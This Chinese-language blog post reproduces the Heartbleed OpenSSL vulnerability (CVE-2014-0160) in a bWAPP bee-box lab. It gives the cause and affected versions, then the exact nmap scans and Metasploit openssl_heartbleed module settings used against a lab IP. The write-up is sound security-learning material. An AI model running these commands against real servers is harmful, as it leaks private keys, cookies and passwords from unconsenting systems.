心脏滴血漏洞复现(CVE-2014-0160)

漏洞简介

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。

漏洞成因

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

影响版本

  • OpenSSL 1.0.2-beta
  • OpenSSL 1.0.1 - OpenSSL 1.0.1f

不影响的版本

  • OpenSSL 1.0.2-beta2(将来版本)
  • OpenSSL 1.0.1g
  • OpenSSL 1.0.0(及1.0.0的分支版本)
  • OpenSSL 0.9.8(及0.9.8的分支版本)

漏洞复现

靶机为bwapp的集成环境bee-box虚拟机的A6的Heartbleed Vulnerability漏洞环境。

首先使用nmap对其进行扫描,发现443端口和8443端口均使用了ssl服务。但是443端口检测到的openssl版本为0.9.8g版本,不存在心脏滴血漏洞,而8443端口并没有检测出openssl的版本,即可能存在心脏滴血漏洞。

nmap -sV -T4 192.168.174.131

然后便使用nmap中心脏滴血漏洞的脚本对其进行检测:发现存在该心脏滴血漏洞。

nmap -p8443 --script=ssl-heartbleed.nse 192.168.174.131
也可以使用如下脚本检测:
nmap -p8443 --script=vuln 192.168.174.131

然后使用msf对其进行验证:

search CVE-2014-0160
use auxiliary/scanner/ssl/openssl_heartbleed

查看需要设置的参数:

show options

设置参数:

set rhosts 192.168.174.131
set rport 8443
set verbose true        //该参数要设置成true才能看到泄露的信息

成功复现:

漏洞危害

如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。

修复建议

使用无漏洞的版本

参考文章

https://www.freebuf.com/articles/web/31700.html

https://www.jianshu.com/p/08600e2f4530

https://baike.baidu.com/item/Heartbleed/13580882?fr=aladdin

猜你喜欢

转载自www.cnblogs.com/v01cano/p/10446225.html
今日推荐